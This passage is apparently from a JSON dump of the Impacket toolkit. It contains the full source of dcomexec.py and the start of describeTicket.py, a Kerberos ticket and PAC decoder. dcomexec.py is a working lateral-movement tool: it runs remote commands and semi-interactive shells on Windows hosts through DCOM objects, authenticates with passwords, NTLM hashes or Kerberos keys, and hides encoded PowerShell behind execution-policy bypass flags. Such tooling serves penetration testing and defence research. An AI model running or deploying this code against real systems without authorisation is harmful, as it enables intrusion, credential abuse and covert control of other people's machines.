    "content": "#!/usr/bin/env python\n# Impacket - Collection of Python classes for working with network protocols.\n#\n# Copyright Fortra, LLC and its affiliated companies \n#\n# All rights reserved.\n#\n# This software is provided under a slightly modified version\n# of the Apache Software License. See the accompanying LICENSE file\n# for more information.\n#\n# Description:\n#   A similar approach to psexec but executing commands through DCOM.\n#   You can select different objects to be used to execute the commands.\n#   Currently supported objects are:\n#     1. MMC20.Application (49B2791A-B1AE-4C90-9B8E-E860BA07F889) - Tested Windows 7, Windows 10, Server 2012R2\n#     2. ShellWindows (9BA05972-F6A8-11CF-A442-00A0C90A8F39) - Tested Windows 7, Windows 10, Server 2012R2\n#     3. ShellBrowserWindow (C08AFD90-F2A1-11D1-8455-00A0C91F3880) - Tested Windows 10, Server 2012R2\n#\n#   Drawback is it needs DCOM, hence, I have to be able to access\n#   DCOM ports at the target machine.\n#\n#   Original discovery by Matt Nelson (@enigma0x3):\n#   https://enigma0x3.net/2017/01/05/lateral-movement-using-the-mmc20-application-com-object/\n#   https://enigma0x3.net/2017/01/23/lateral-movement-via-dcom-round-2/\n#\n# Author:\n#   beto (@agsolino)\n#   Marcello (@byt3bl33d3r)\n#\n# Reference for:\n#  DCOM\n#\n# ToDo:\n#   [ ] Kerberos auth not working, invalid_checksum is thrown. Most probably sequence numbers out of sync due to\n#       getInterface() method\n#\n\nfrom __future__ import division\nfrom __future__ import print_function\nimport argparse\nimport cmd\nimport logging\nimport ntpath\nimport os\nimport sys\nimport time\nfrom base64 import b64encode\n\nfrom six import PY2, PY3\nfrom impacket import version\nfrom impacket.dcerpc.v5.dcom.oaut import IID_IDispatch, string_to_bin, IDispatch, DISPPARAMS, DISPATCH_PROPERTYGET, \\\n    VARIANT, VARENUM, DISPATCH_METHOD\nfrom impacket.dcerpc.v5.dcomrt import DCOMConnection, COMVERSION\nfrom impacket.dcerpc.v5.dcomrt import OBJREF, FLAGS_OBJREF_CUSTOM, OBJREF_CUSTOM, OBJREF_HANDLER, \\\n    OBJREF_EXTENDED, OBJREF_STANDARD, FLAGS_OBJREF_HANDLER, FLAGS_OBJREF_STANDARD, FLAGS_OBJREF_EXTENDED, \\\n    IRemUnknown2, INTERFACE\nfrom impacket.dcerpc.v5.dtypes import NULL\nfrom impacket.examples import logger\nfrom impacket.examples.utils import parse_target\nfrom impacket.smbconnection import SMBConnection, SMB_DIALECT, SMB2_DIALECT_002, SMB2_DIALECT_21\nfrom impacket.krb5.keytab import Keytab\n\nOUTPUT_FILENAME = '__' + str(time.time())[:5]\nCODEC = sys.stdout.encoding\n\nclass DCOMEXEC:\n    def __init__(self, command='', username='', password='', domain='', hashes=None, aesKey=None, share=None,\n                 noOutput=False, doKerberos=False, kdcHost=None, dcomObject=None, shell_type=None):\n        self.__command = command\n        self.__username = username\n        self.__password = password\n        self.__domain = domain\n        self.__lmhash = ''\n        self.__nthash = ''\n        self.__aesKey = aesKey\n        self.__share = share\n        self.__noOutput = noOutput\n        self.__doKerberos = doKerberos\n        self.__kdcHost = kdcHost\n        self.__dcomObject = dcomObject\n        self.__shell_type = shell_type\n        self.shell = None\n        if hashes is not None:\n            self.__lmhash, self.__nthash = hashes.split(':')\n\n    def getInterface(self, interface, resp):\n        # Now let's parse the answer and build an Interface instance\n        objRefType = OBJREF(b''.join(resp))['flags']\n        objRef = None\n        if objRefType == FLAGS_OBJREF_CUSTOM:\n            objRef = OBJREF_CUSTOM(b''.join(resp))\n        elif objRefType == FLAGS_OBJREF_HANDLER:\n            objRef = OBJREF_HANDLER(b''.join(resp))\n        elif objRefType == FLAGS_OBJREF_STANDARD:\n            objRef = OBJREF_STANDARD(b''.join(resp))\n        elif objRefType == FLAGS_OBJREF_EXTENDED:\n            objRef = OBJREF_EXTENDED(b''.join(resp))\n        else:\n            logging.error(\"Unknown OBJREF Type! 0x%x\" % objRefType)\n\n        return IRemUnknown2(\n            INTERFACE(interface.get_cinstance(), None, interface.get_ipidRemUnknown(), objRef['std']['ipid'],\n                      oxid=objRef['std']['oxid'], oid=objRef['std']['oxid'],\n                      target=interface.get_target()))\n\n    def run(self, addr, silentCommand=False):\n        if self.__noOutput is False and silentCommand is False:\n            smbConnection = SMBConnection(addr, addr)\n            if self.__doKerberos is False:\n                smbConnection.login(self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash)\n            else:\n                smbConnection.kerberosLogin(self.__username, self.__password, self.__domain, self.__lmhash,\n                                            self.__nthash, self.__aesKey, kdcHost=self.__kdcHost)\n\n            dialect = smbConnection.getDialect()\n            if dialect == SMB_DIALECT:\n                logging.info(\"SMBv1 dialect used\")\n            elif dialect == SMB2_DIALECT_002:\n                logging.info(\"SMBv2.0 dialect used\")\n            elif dialect == SMB2_DIALECT_21:\n                logging.info(\"SMBv2.1 dialect used\")\n            else:\n                logging.info(\"SMBv3.0 dialect used\")\n        else:\n            smbConnection = None\n\n        dcom = DCOMConnection(addr, self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash,\n                              self.__aesKey, oxidResolver=True, doKerberos=self.__doKerberos, kdcHost=self.__kdcHost)\n        try:\n            dispParams = DISPPARAMS(None, False)\n            dispParams['rgvarg'] = NULL\n            dispParams['rgdispidNamedArgs'] = NULL\n            dispParams['cArgs'] = 0\n            dispParams['cNamedArgs'] = 0\n\n            if self.__dcomObject == 'ShellWindows':\n                # ShellWindows CLSID (Windows 7, Windows 10, Windows Server 2012R2)\n                iInterface = dcom.CoCreateInstanceEx(string_to_bin('9BA05972-F6A8-11CF-A442-00A0C90A8F39'), IID_IDispatch)\n                iMMC = IDispatch(iInterface)\n                resp = iMMC.GetIDsOfNames(('Item',))\n                resp = iMMC.Invoke(resp[0], 0x409, DISPATCH_METHOD, dispParams, 0, [], [])\n                iItem = IDispatch(self.getInterface(iMMC, resp['pVarResult']['_varUnion']['pdispVal']['abData']))\n                resp = iItem.GetIDsOfNames(('Document',))\n                resp = iItem.Invoke(resp[0], 0x409, DISPATCH_PROPERTYGET, dispParams, 0, [], [])\n                pQuit = None\n            elif self.__dcomObject == 'ShellBrowserWindow':\n                # ShellBrowserWindow CLSID (Windows 10, Windows Server 2012R2)\n                iInterface = dcom.CoCreateInstanceEx(string_to_bin('C08AFD90-F2A1-11D1-8455-00A0C91F3880'), IID_IDispatch)\n                iMMC = IDispatch(iInterface)\n                resp = iMMC.GetIDsOfNames(('Document',))\n                resp = iMMC.Invoke(resp[0], 0x409, DISPATCH_PROPERTYGET, dispParams, 0, [], [])\n                pQuit = iMMC.GetIDsOfNames(('Quit',))[0]\n            elif self.__dcomObject == 'MMC20':\n                iInterface = dcom.CoCreateInstanceEx(string_to_bin('49B2791A-B1AE-4C90-9B8E-E860BA07F889'), IID_IDispatch)\n                iMMC = IDispatch(iInterface)\n                resp = iMMC.GetIDsOfNames(('Document',))\n                resp = iMMC.Invoke(resp[0], 0x409, DISPATCH_PROPERTYGET, dispParams, 0, [], [])\n                pQuit = iMMC.GetIDsOfNames(('Quit',))[0]\n            else:\n                logging.fatal('Invalid object %s' % self.__dcomObject)\n                return\n\n            iDocument = IDispatch(self.getInterface(iMMC, resp['pVarResult']['_varUnion']['pdispVal']['abData']))\n\n            if self.__dcomObject == 'MMC20':\n                resp = iDocument.GetIDsOfNames(('ActiveView',))\n                resp = iDocument.Invoke(resp[0], 0x409, DISPATCH_PROPERTYGET, dispParams, 0, [], [])\n\n                iActiveView = IDispatch(self.getInterface(iMMC, resp['pVarResult']['_varUnion']['pdispVal']['abData']))\n                pExecuteShellCommand = iActiveView.GetIDsOfNames(('ExecuteShellCommand',))[0]\n                self.shell = RemoteShellMMC20(self.__share, (iMMC, pQuit), (iActiveView, pExecuteShellCommand), smbConnection, self.__shell_type, silentCommand)\n            else:\n                resp = iDocument.GetIDsOfNames(('Application',))\n                resp = iDocument.Invoke(resp[0], 0x409, DISPATCH_PROPERTYGET, dispParams, 0, [], [])\n\n                iActiveView = IDispatch(self.getInterface(iMMC, resp['pVarResult']['_varUnion']['pdispVal']['abData']))\n                pExecuteShellCommand = iActiveView.GetIDsOfNames(('ShellExecute',))[0]\n                self.shell = RemoteShell(self.__share, (iMMC, pQuit), (iActiveView, pExecuteShellCommand), smbConnection, self.__shell_type, silentCommand)\n\n            if self.__command != ' ':\n                try:\n                    self.shell.onecmd(self.__command)\n                except TypeError:\n                    if not silentCommand:\n                        raise\n                if self.shell is not None:\n                    self.shell.do_exit('')\n            else:\n                self.shell.cmdloop()\n        except  (Exception, KeyboardInterrupt) as e:\n            if logging.getLogger().level == logging.DEBUG:\n                import traceback\n                traceback.print_exc()\n            if self.shell is not None:\n                self.shell.do_exit('')\n            logging.error(str(e))\n            if smbConnection is not None:\n                smbConnection.logoff()\n            dcom.disconnect()\n            sys.stdout.flush()\n            sys.exit(1)\n\n        if smbConnection is not None:\n            smbConnection.logoff()\n        dcom.disconnect()\n\nclass RemoteShell(cmd.Cmd):\n    def __init__(self, share, quit, executeShellCommand, smbConnection, shell_type, silentCommand=False):\n        cmd.Cmd.__init__(self)\n        self._share = share\n        self._output = '\\\\' + OUTPUT_FILENAME\n        self.__outputBuffer = ''\n        self._shell = 'cmd.exe'\n        self.__shell_type = shell_type\n        self.__pwsh = 'powershell.exe -NoP -NoL -sta -NonI -W Hidden -Exec Bypass -Enc '\n        self.__quit = quit\n        self._executeShellCommand = executeShellCommand\n        self.__transferClient = smbConnection\n        self._silentCommand = silentCommand\n        self._pwd = 'C:\\\\windows\\\\system32'\n        self._noOutput = False\n        self.intro = '[!] Launching semi-interactive shell - Careful what you execute\\n[!] Press help for extra shell commands'\n\n        # We don't wanna deal with timeouts from now on.\n        if self.__transferClient is not None:\n            self.__transferClient.setTimeout(100000)\n            self.do_cd('\\\\')\n        else:\n            self._noOutput = True\n\n    def do_shell(self, s):\n        os.system(s)\n\n    def do_help(self, line):\n        print(\"\"\"\n lcd {path}                 - changes the current local directory to {path}\n exit                       - terminates the server process (and this session)\n lput {src_file, dst_path}   - uploads a local file to the dst_path (dst_path = default current directory)\n lget {file}                 - downloads pathname to the current local dir\n ! {cmd}                    - executes a local shell cmd\n\"\"\")\n\n    def do_lcd(self, s):\n        if s == '':\n            print(os.getcwd())\n        else:\n            try:\n                os.chdir(s)\n            except Exception as e:\n                logging.error(str(e))\n\n    def do_lget(self, src_path):\n        try:\n            import ntpath\n            newPath = ntpath.normpath(ntpath.join(self._pwd, src_path))\n            drive, tail = ntpath.splitdrive(newPath)\n            filename = ntpath.basename(tail)\n            fh = open(filename,'wb')\n            logging.info(\"Downloading %s\\\\%s\" % (drive, tail))\n            self.__transferClient.getFile(drive[:-1]+'$', tail, fh.write)\n            fh.close()\n        except Exception as e:\n            logging.error(str(e))\n            os.remove(filename)\n            pass\n\n    def do_lput(self, s):\n        try:\n            params = s.split(' ')\n            if len(params) > 1:\n                src_path = params[0]\n                dst_path = params[1]\n            elif len(params) == 1:\n                src_path = params[0]\n                dst_path = ''\n\n            src_file = os.path.basename(src_path)\n            fh = open(src_path, 'rb')\n            dst_path = dst_path.replace('/','\\\\')\n            import ntpath\n            pathname = ntpath.join(ntpath.join(self._pwd, dst_path), src_file)\n            drive, tail = ntpath.splitdrive(pathname)\n            logging.info(\"Uploading %s to %s\" % (src_file, pathname))\n            self.__transferClient.putFile(drive[:-1]+'$', tail, fh.read)\n            fh.close()\n        except Exception as e:\n            logging.critical(str(e))\n            pass\n\n    def do_exit(self, s):\n        dispParams = DISPPARAMS(None, False)\n        dispParams['rgvarg'] = NULL\n        dispParams['rgdispidNamedArgs'] = NULL\n        dispParams['cArgs'] = 0\n        dispParams['cNamedArgs'] = 0\n\n        self.__quit[0].Invoke(self.__quit[1], 0x409, DISPATCH_METHOD, dispParams,\n                                             0, [], [])\n        return True\n\n    def do_EOF(self, s):\n        print()\n        return self.do_exit(s)\n\n    def emptyline(self):\n        return False\n\n    def do_cd(self, s):\n        self.execute_remote('cd ' + s)\n        if len(self.__outputBuffer.strip('\\r\\n')) > 0:\n            print(self.__outputBuffer)\n            self.__outputBuffer = ''\n        else:\n            if PY2:\n                self._pwd = ntpath.normpath(ntpath.join(self._pwd, s.decode(sys.stdin.encoding)))\n            else:\n                self._pwd = ntpath.normpath(ntpath.join(self._pwd, s))\n            self.execute_remote('cd ')\n            self._pwd = self.__outputBuffer.strip('\\r\\n')\n            self.prompt = (self._pwd + '>')\n            if self.__shell_type == 'powershell':\n                    self.prompt = 'PS ' + self.prompt + ' '\n            self.__outputBuffer = ''\n\n    def default(self, line):\n        # Let's try to guess if the user is trying to change drive\n        if len(line) == 2 and line[1] == ':':\n            # Execute the command and see if the drive is valid\n            self.execute_remote(line)\n            if len(self.__outputBuffer.strip('\\r\\n')) > 0:\n                # Something went wrong\n                print(self.__outputBuffer)\n                self.__outputBuffer = ''\n            else:\n                # Drive valid, now we should get the current path\n                self._pwd = line\n                self.execute_remote('cd ')\n                self._pwd = self.__outputBuffer.strip('\\r\\n')\n                self.prompt = (self._pwd + '>')\n                if self.__shell_type == 'powershell':\n                    self.prompt = 'PS ' + self.prompt + ' '\n                self.__outputBuffer = ''\n        else:\n            if line != '':\n                self.send_data(line)\n\n    def get_output(self):\n        def output_callback(data):\n            try:\n                self.__outputBuffer += data.decode(CODEC)\n            except UnicodeDecodeError:\n                logging.error('Decoding error detected, consider running chcp.com at the target,\\nmap the result with '\n                              'https://docs.python.org/3/library/codecs.html#standard-encodings\\nand then execute dcomexec.py '\n                              'again with -codec and the corresponding codec')\n                self.__outputBuffer += data.decode(CODEC, errors='replace')\n\n        if self._noOutput is True:\n            self.__outputBuffer = ''\n            return\n\n        while True:\n            try:\n                self.__transferClient.getFile(self._share, self._output, output_callback)\n                break\n            except Exception as e:\n                if str(e).find('STATUS_SHARING_VIOLATION') >=0:\n                    # Output not finished, let's wait\n                    time.sleep(1)\n                    pass\n                elif str(e).find('Broken') >= 0:\n                    # The SMB Connection might have timed out, let's try reconnecting\n                    logging.debug('Connection broken, trying to recreate it')\n                    self.__transferClient.reconnect()\n                    return self.get_output()\n        self.__transferClient.deleteFile(self._share, self._output)\n\n    def execute_remote(self, data, shell_type='cmd'):\n        if self._silentCommand is True:\n            self._shell = data.split()[0]\n            command = ' '.join(data.split()[1:])\n        else:\n            if shell_type == 'powershell':\n                data = '$ProgressPreference=\"SilentlyContinue\";' + data\n                data = self.__pwsh + b64encode(data.encode('utf-16le')).decode()\n            command = '/Q /c ' + data\n\n        if self._noOutput is False:\n            command += ' 1> ' + '\\\\\\\\127.0.0.1\\\\%s' % self._share + self._output + ' 2>&1'\n\n        logging.debug('Executing: %s' % command)\n\n        dispParams = DISPPARAMS(None, False)\n        dispParams['rgdispidNamedArgs'] = NULL\n        dispParams['cArgs'] = 5\n        dispParams['cNamedArgs'] = 0\n        arg0 = VARIANT(None, False)\n        arg0['clSize'] = 5\n        arg0['vt'] = VARENUM.VT_BSTR\n        arg0['_varUnion']['tag'] = VARENUM.VT_BSTR\n        arg0['_varUnion']['bstrVal']['asData'] = self._shell\n\n        arg1 = VARIANT(None, False)\n        arg1['clSize'] = 5\n        arg1['vt'] = VARENUM.VT_BSTR\n        arg1['_varUnion']['tag'] = VARENUM.VT_BSTR\n        if PY3:\n            arg1['_varUnion']['bstrVal']['asData'] = command\n        else:\n            arg1['_varUnion']['bstrVal']['asData'] = command.decode(sys.stdin.encoding)\n\n        arg2 = VARIANT(None, False)\n        arg2['clSize'] = 5\n        arg2['vt'] = VARENUM.VT_BSTR\n        arg2['_varUnion']['tag'] = VARENUM.VT_BSTR\n        arg2['_varUnion']['bstrVal']['asData'] = self._pwd\n\n        arg3 = VARIANT(None, False)\n        arg3['clSize'] = 5\n        arg3['vt'] = VARENUM.VT_BSTR\n        arg3['_varUnion']['tag'] = VARENUM.VT_BSTR\n        arg3['_varUnion']['bstrVal']['asData'] = ''\n\n        arg4 = VARIANT(None, False)\n        arg4['clSize'] = 5\n        arg4['vt'] = VARENUM.VT_BSTR\n        arg4['_varUnion']['tag'] = VARENUM.VT_BSTR\n        arg4['_varUnion']['bstrVal']['asData'] = '0'\n        dispParams['rgvarg'].append(arg4)\n        dispParams['rgvarg'].append(arg3)\n        dispParams['rgvarg'].append(arg2)\n        dispParams['rgvarg'].append(arg1)\n        dispParams['rgvarg'].append(arg0)\n\n        #print(dispParams.dump())\n\n        self._executeShellCommand[0].Invoke(self._executeShellCommand[1], 0x409, DISPATCH_METHOD, dispParams,\n                                            0, [], [])\n        self.get_output()\n\n    def send_data(self, data):\n        self.execute_remote(data, self.__shell_type)\n        print(self.__outputBuffer)\n        self.__outputBuffer = ''\n\nclass RemoteShellMMC20(RemoteShell):\n    def execute_remote(self, data, shell_type='cmd'):\n        if self._silentCommand is True:\n            self._shell = data.split()[0]\n            command = ' '.join(data.split()[1:])\n        else:\n            if shell_type == 'powershell':\n                data = '$ProgressPreference=\"SilentlyContinue\";' + data\n                data = self._RemoteShell__pwsh + b64encode(data.encode('utf-16le')).decode()\n            command = '/Q /c ' + data\n\n        if self._noOutput is False:\n            command += ' 1> ' + '\\\\\\\\127.0.0.1\\\\%s' % self._share + self._output  + ' 2>&1'\n\n        dispParams = DISPPARAMS(None, False)\n        dispParams['rgdispidNamedArgs'] = NULL\n        dispParams['cArgs'] = 4\n        dispParams['cNamedArgs'] = 0\n        arg0 = VARIANT(None, False)\n        arg0['clSize'] = 5\n        arg0['vt'] = VARENUM.VT_BSTR\n        arg0['_varUnion']['tag'] = VARENUM.VT_BSTR\n        arg0['_varUnion']['bstrVal']['asData'] = self._shell\n\n        arg1 = VARIANT(None, False)\n        arg1['clSize'] = 5\n        arg1['vt'] = VARENUM.VT_BSTR\n        arg1['_varUnion']['tag'] = VARENUM.VT_BSTR\n        arg1['_varUnion']['bstrVal']['asData'] = self._pwd\n\n        arg2 = VARIANT(None, False)\n        arg2['clSize'] = 5\n        arg2['vt'] = VARENUM.VT_BSTR\n        arg2['_varUnion']['tag'] = VARENUM.VT_BSTR\n        if PY3:\n            arg2['_varUnion']['bstrVal']['asData'] = command\n        else:\n            arg2['_varUnion']['bstrVal']['asData'] = command.decode(sys.stdin.encoding)\n\n        arg3 = VARIANT(None, False)\n        arg3['clSize'] = 5\n        arg3['vt'] = VARENUM.VT_BSTR\n        arg3['_varUnion']['tag'] = VARENUM.VT_BSTR\n        arg3['_varUnion']['bstrVal']['asData'] = '7'\n        dispParams['rgvarg'].append(arg3)\n        dispParams['rgvarg'].append(arg2)\n        dispParams['rgvarg'].append(arg1)\n        dispParams['rgvarg'].append(arg0)\n\n        self._executeShellCommand[0].Invoke(self._executeShellCommand[1], 0x409, DISPATCH_METHOD, dispParams,\n                                            0, [], [])\n        self.get_output()\n\nclass AuthFileSyntaxError(Exception):\n\n    '''raised by load_smbclient_auth_file if it encounters a syntax error\n    while loading the smbclient-style authentication file.'''\n\n    def __init__(self, path, lineno, reason):\n        self.path=path\n        self.lineno=lineno\n        self.reason=reason\n\n    def __str__(self):\n        return 'Syntax error in auth file %s line %d: %s' % (\n            self.path, self.lineno, self.reason )\n\ndef load_smbclient_auth_file(path):\n\n    '''Load credentials from an smbclient-style authentication file (used by\n    smbclient, mount.cifs and others).  returns (domain, username, password)\n    or raises AuthFileSyntaxError or any I/O exceptions.'''\n\n    lineno=0\n    domain=None\n    username=None\n    password=None\n    for line in open(path):\n        lineno+=1\n\n        line = line.strip()\n\n        if line.startswith('#') or line=='':\n            continue\n\n        parts = line.split('=',1)\n        if len(parts) != 2:\n            raise AuthFileSyntaxError(path, lineno, 'No \"=\" present in line')\n\n        (k,v) = (parts[0].strip(), parts[1].strip())\n\n        if k=='username':\n            username=v\n        elif k=='password':\n            password=v\n        elif k=='domain':\n            domain=v\n        else:\n            raise AuthFileSyntaxError(path, lineno, 'Unknown option %s' % repr(k))\n\n    return (domain, username, password)\n\n# Process command-line arguments.\nif __name__ == '__main__':\n    print(version.BANNER)\n\n    parser = argparse.ArgumentParser(add_help = True, description = \"Executes a semi-interactive shell using the \"\n                                                                    \"ShellBrowserWindow DCOM object.\")\n\n    parser.add_argument('target', action='store', help='[[domain/]username[:password]@]<targetName or address>')\n    parser.add_argument('-share', action='store', default = 'ADMIN$', help='share where the output will be grabbed from '\n                                                                           '(default ADMIN$)')\n    parser.add_argument('-nooutput', action='store_true', default = False, help='whether or not to print the output '\n                                                                                '(no SMB connection created)')\n    parser.add_argument('-ts', action='store_true', help='Adds timestamp to every logging output')\n    parser.add_argument('-debug', action='store_true', help='Turn DEBUG output ON')\n    parser.add_argument('-codec', action='store', help='Sets encoding used (codec) from the target\\'s output (default '\n                                                       '\"%s\"). If errors are detected, run chcp.com at the target, '\n                                                       'map the result with '\n                          'https://docs.python.org/3/library/codecs.html#standard-encodings and then execute wmiexec.py '\n                          'again with -codec and the corresponding codec ' % CODEC)\n    parser.add_argument('-object', choices=['ShellWindows', 'ShellBrowserWindow', 'MMC20'], nargs='?', default='ShellWindows',\n                        help='DCOM object to be used to execute the shell command (default=ShellWindows)')\n    parser.add_argument('-com-version', action='store', metavar = \"MAJOR_VERSION:MINOR_VERSION\", help='DCOM version, '\n                        'format is MAJOR_VERSION:MINOR_VERSION e.g. 5.7')\n    parser.add_argument('-shell-type', action='store', default = 'cmd', choices = ['cmd', 'powershell'], help='choose '\n                        'a command processor for the semi-interactive shell')\n    parser.add_argument('command', nargs='*', default = ' ', help='command to execute at the target. If empty it will '\n                                                                  'launch a semi-interactive shell')\n    parser.add_argument('-silentcommand', action='store_true', default = False,\n                        help='does not execute cmd.exe to run given command (no output, cannot run dir/cd/etc.)')\n\n    group = parser.add_argument_group('authentication')\n\n    group.add_argument('-hashes', action=\"store\", metavar = \"LMHASH:NTHASH\", help='NTLM hashes, format is LMHASH:NTHASH')\n    group.add_argument('-no-pass', action=\"store_true\", help='don\\'t ask for password (useful for -k)')\n    group.add_argument('-k', action=\"store_true\", help='Use Kerberos authentication. Grabs credentials from ccache file '\n                       '(KRB5CCNAME) based on target parameters. If valid credentials cannot be found, it will use the '\n                       'ones specified in the command line')\n    group.add_argument('-aesKey', action=\"store\", metavar = \"hex key\", help='AES key to use for Kerberos Authentication '\n                                                                            '(128 or 256 bits)')\n    group.add_argument('-dc-ip', action='store',metavar = \"ip address\",  help='IP Address of the domain controller. If '\n                       'ommited it use the domain part (FQDN) specified in the target parameter')\n    group.add_argument('-A', action=\"store\", metavar = \"authfile\", help=\"smbclient/mount.cifs-style authentication file. \"\n                                                                        \"See smbclient man page's -A option.\")\n    group.add_argument('-keytab', action=\"store\", help='Read keys for SPN from keytab file')\n\n    if len(sys.argv)==1:\n        parser.print_help()\n        sys.exit(1)\n\n    options = parser.parse_args()\n    # Init the example's logger theme\n    logger.init(options.ts, options.debug)\n\n    if options.codec is not None:\n        CODEC = options.codec\n    else:\n        if CODEC is None:\n            CODEC = 'utf-8'\n\n    if ' '.join(options.command) == ' ' and options.nooutput is True:\n        logging.error(\"-nooutput switch and interactive shell not supported\")\n        sys.exit(1)\n    if options.silentcommand and options.command == ' ':\n        logging.error(\"-silentcommand switch and interactive shell not supported\")\n        sys.exit(1)\n\n    if options.com_version is not None:\n        try:\n            major_version, minor_version = options.com_version.split('.')\n            COMVERSION.set_default_version(int(major_version), int(minor_version))\n        except Exception:\n            logging.error(\"Wrong COMVERSION format, use dot separated integers e.g. \\\"5.7\\\"\")\n            sys.exit(1)\n\n    domain, username, password, address = parse_target(options.target)\n\n    try:\n        if options.A is not None:\n            (domain, username, password) = load_smbclient_auth_file(options.A)\n            logging.debug('loaded smbclient auth file: domain=%s, username=%s, password=%s' % (repr(domain), repr(username), repr(password)))\n\n        if domain is None:\n            domain = ''\n\n        if options.keytab is not None:\n            Keytab.loadKeysFromKeytab(options.keytab, username, domain, options)\n            options.k = True\n\n        if password == '' and username != '' and options.hashes is None and options.no_pass is False and options.aesKey is None:\n            from getpass import getpass\n            password = getpass(\"Password:\")\n\n        if options.aesKey is not None:\n            options.k = True\n\n        executer = DCOMEXEC(' '.join(options.command), username, password, domain, options.hashes, options.aesKey,\n                            options.share, options.nooutput, options.k, options.dc_ip, options.object, options.shell_type)\n        executer.run(address, options.silentcommand)\n    except (Exception, KeyboardInterrupt) as e:\n        if logging.getLogger().level == logging.DEBUG:\n            import traceback\n            traceback.print_exc()\n        logging.error(str(e))\n    sys.exit(0)\n"
  },
  {
    "path": "examples/describeTicket.py",
    "content": "#!/usr/bin/env python3\n# Impacket - Collection of Python classes for working with network protocols.\n#\n# Copyright Fortra, LLC and its affiliated companies \n#\n# All rights reserved.\n#\n# This software is provided under a slightly modified version\n# of the Apache Software License. See the accompanying LICENSE file\n# for more information.\n#\n# Description:\n#   Ticket describer. Parses ticket, decrypts the enc-part, and parses the PAC.\n#\n# Authors:\n#   Remi Gascou (@podalirius_)\n#   Charlie Bromberg (@_nwodtuhs)\n#   Mathieu Calemard du Gardin (@Dramelac_)\n\nimport logging\nimport sys\nimport traceback\nimport argparse\nimport datetime\nimport base64\nfrom typing import Sequence\n\nfrom Cryptodome.Hash import MD4\nfrom enum import Enum\nfrom binascii import unhexlify, hexlify\nfrom pyasn1.codec.der import decoder\n\nfrom impacket import version\nfrom impacket.dcerpc.v5.dtypes import FILETIME, PRPC_SID\nfrom impacket.dcerpc.v5.rpcrt import TypeSerialization1\nfrom impacket.examples import logger\nfrom impacket.krb5 import constants, pac\nfrom impacket.krb5.asn1 import TGS_REP, EncTicketPart, AD_IF_RELEVANT\nfrom impacket.krb5.ccache import CCache\nfrom impacket.krb5.constants import ChecksumTypes\nfrom impacket.krb5.crypto import Key, _enctype_table, InvalidChecksum, string_to_key, generate_kerberos_keys\nfrom impacket.ldap.ldaptypes import LDAP_SID\n\nPSID = PRPC_SID\n\nclass User_Flags(Enum):\n    LOGON_EXTRA_SIDS = 0x0020\n    LOGON_RESOURCE_GROUPS = 0x0200\n\n# 2.2.1.10 SE_GROUP Attributes\nclass SE_GROUP_Attributes(Enum):\n    SE_GROUP_MANDATORY = 0x00000001\n    SE_GROUP_ENABLED_BY_DEFAULT = 0x00000002\n    SE_GROUP_ENABLED = 0x00000004\n\n# 2.2.1.12 USER_ACCOUNT Codes\nclass USER_ACCOUNT_Codes(Enum):\n    USER_ACCOUNT_DISABLED = 0x00000001\n    USER_HOME_DIRECTORY_REQUIRED = 0x00000002\n    USER_PASSWORD_NOT_REQUIRED = 0x00000004\n    USER_TEMP_DUPLICATE_ACCOUNT = 0x00000008\n    USER_NORMAL_ACCOUNT = 0x00000010\n    USER_MNS_LOGON_ACCOUNT = 0x00000020\n    USER_INTERDOMAIN_TRUST_ACCOUNT = 0x00000040\n    USER_WORKSTATION_TRUST_ACCOUNT = 0x00000080\n    USER_SERVER_TRUST_ACCOUNT = 0x00000100\n    USER_DONT_EXPIRE_PASSWORD = 0x00000200\n    USER_ACCOUNT_AUTO_LOCKED = 0x00000400\n    USER_ENCRYPTED_TEXT_PASSWORD_ALLOWED = 0x00000800\n    USER_SMARTCARD_REQUIRED = 0x00001000\n    USER_TRUSTED_FOR_DELEGATION = 0x00002000\n    USER_NOT_DELEGATED = 0x00004000\n    USER_USE_DES_KEY_ONLY = 0x00008000\n    USER_DONT_REQUIRE_PREAUTH = 0x00010000\n    USER_PASSWORD_EXPIRED = 0x00020000\n    USER_TRUSTED_TO_AUTHENTICATE_FOR_DELEGATION = 0x00040000\n    USER_NO_AUTH_DATA_REQUIRED = 0x00080000\n    USER_PARTIAL_SECRETS_ACCOUNT = 0x00100000\n    USER_USE_AES_KEYS = 0x00200000\n\n# 2.2.1.13 UF_FLAG Codes\nclass UF_FLAG_Codes(Enum):\n    UF_SCRIPT = 0x00000001\n    UF_ACCOUNTDISABLE = 0x00000002\n    UF_HOMEDIR_REQUIRED = 0x00000008\n    UF_LOCKOUT = 0x00000010\n    UF_PASSWD_NOTREQD = 0x00000020\n    UF_PASSWD_CANT_CHANGE = 0x00000040\n    UF_ENCRYPTED_TEXT_PASSWORD_ALLOWED = 0x00000080\n    UF_TEMP_DUPLICATE_ACCOUNT = 0x00000100\n    UF_NORMAL_ACCOUNT = 0x00000200\n    UF_INTERDOMAIN_TRUST_ACCOUNT = 0x00000800\n    UF_WORKSTATION_TRUST_ACCOUNT = 0x00001000\n    UF_SERVER_TRUST_ACCOUNT = 0x00002000\n    UF_DONT_EXPIRE_PASSWD = 0x00010000\n    UF_MNS_LOGON_ACCOUNT = 0x00020000\n    UF_SMARTCARD_REQUIRED = 0x00040000\n    UF_TRUSTED_FOR_DELEGATION = 0x00080000\n    UF_NOT_DELEGATED = 0x00100000\n    UF_USE_DES_KEY_ONLY = 0x00200000\n    UF_DONT_REQUIRE_PREAUTH = 0x00400000\n    UF_PASSWORD_EXPIRED = 0x00800000\n    UF_TRUSTED_TO_AUTHENTICATE_FOR_DELEGATION = 0x01000000\n    UF_NO_AUTH_DATA_REQUIRED = 0x02000000\n    UF_PARTIAL_SECRETS_ACCOUNT = 0x04000000\n    UF_USE_AES_KEYS = 0x08000000\n\n# PAC_ATTRIBUTES_INFO Flags code\nclass Upn_Dns_Flags(Enum):\n    U_UsernameOnly = 0x00000001\n    S_SidSamSupplied = 0x00000002\n\n# PAC_ATTRIBUTES_INFO Flags code\nclass Attributes_Flags(Enum):\n    PAC_WAS_REQUESTED = 0x00000001\n    PAC_WAS_GIVEN_IMPLICITLY = 0x00000002\n\n\n# Builtin known Windows Group\nMsBuiltInGroups = {\n    \"498\": \"Enterprise Read-Only Domain Controllers\",\n    \"512\": \"Domain Admins\",\n    \"513\": \"Domain Users\",\n    \"514\": \"Domain Guests\",\n    \"515\": \"Domain Computers\",\n    \"516\": \"Domain Controllers\",\n    \"517\": \"Cert Publishers\",\n    \"518\": \"Schema Admins\",\n    \"519\": \"Enterprise Admins\",\n    \"520\": \"Group Policy Creator Owners\",\n    